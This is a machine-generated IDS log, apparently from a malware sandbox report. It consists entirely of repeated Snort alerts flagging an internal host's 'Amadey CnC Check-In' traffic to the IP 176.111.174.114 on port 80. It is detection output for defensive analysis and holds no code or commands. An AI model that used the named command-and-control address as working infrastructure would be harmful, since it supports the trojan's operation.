Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49922 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49923 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49925 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49926 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49927 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49928 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49929 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49935 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49937 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49938 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49939 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49941 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49942 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49943 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49944 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49946 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49948 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49949 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49950 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49951 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49953 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49954 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49955 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49956 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49957 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49958 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49960 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49962 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49963 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49964 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49965 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49966 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49968 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49969 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49970 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49971 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49972 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49974 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49975 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49977 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49978 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49979 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49981 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49982 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49983 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49984 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49986 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49987 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49989 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49990 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49991 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49992 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49994 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49995 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49996 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49997 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:49999 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50000 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50002 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50003 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50005 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50006 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50008 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50009 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50011 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50012 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50014 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50015 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50016 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50017 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50019 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50020 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50022 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50023 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50025 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50026 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50028 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50029 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50030 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50031 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50033 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50034 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50036 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50037 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50038 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50040 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50041 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50042 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50043 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50044 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50046 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50047 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50049 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50050 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50051 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50053 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50054 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50055 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50056 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50058 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50059 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50061 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50062 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50063 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50064 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50066 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50067 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50068 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50069 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50071 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50073 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50074 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50075 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50076 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50079 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50080 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50082 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50083 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50085 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50087 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50088 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50089 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50090 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50091 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50094 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50095 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50097 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50098 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50099 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50101 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50102 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50103 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50104 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50106 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50107 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50109 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50110 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50111 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50112 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50114 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50115 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50116 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50117 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50119 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50120 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50122 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50123 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50124 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50126 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50127 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50128 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50129 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50130 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50132 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50134 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50135 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50136 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50137 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50139 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50140 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50141 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50142 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50144 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50145 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50147 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50148 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50149 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50151 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50152 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50153 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50154 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50156 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50157 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50159 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50160 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50161 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50163 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50164 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50165 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50166 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50168 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50169 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50171 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50172 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50173 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50175 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50176 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50177 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50178 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50179 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50181 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50182 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50184 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50185 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50186 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50188 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50189 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50190 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50191 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50193 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50194 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50196 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50197 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50198 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50200 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50201 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50202 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50203 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50204 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50206 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50208 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50209 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50210 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50211 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50214 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50215 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50216 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50218 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50219 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50221 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50222 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50223 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50225 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50226 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50227 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50228 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50229 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50231 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50233 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50234 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50235 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50236 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50238 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50239 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50240 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50241 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50243 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50244 -> 176.111.174.114:80
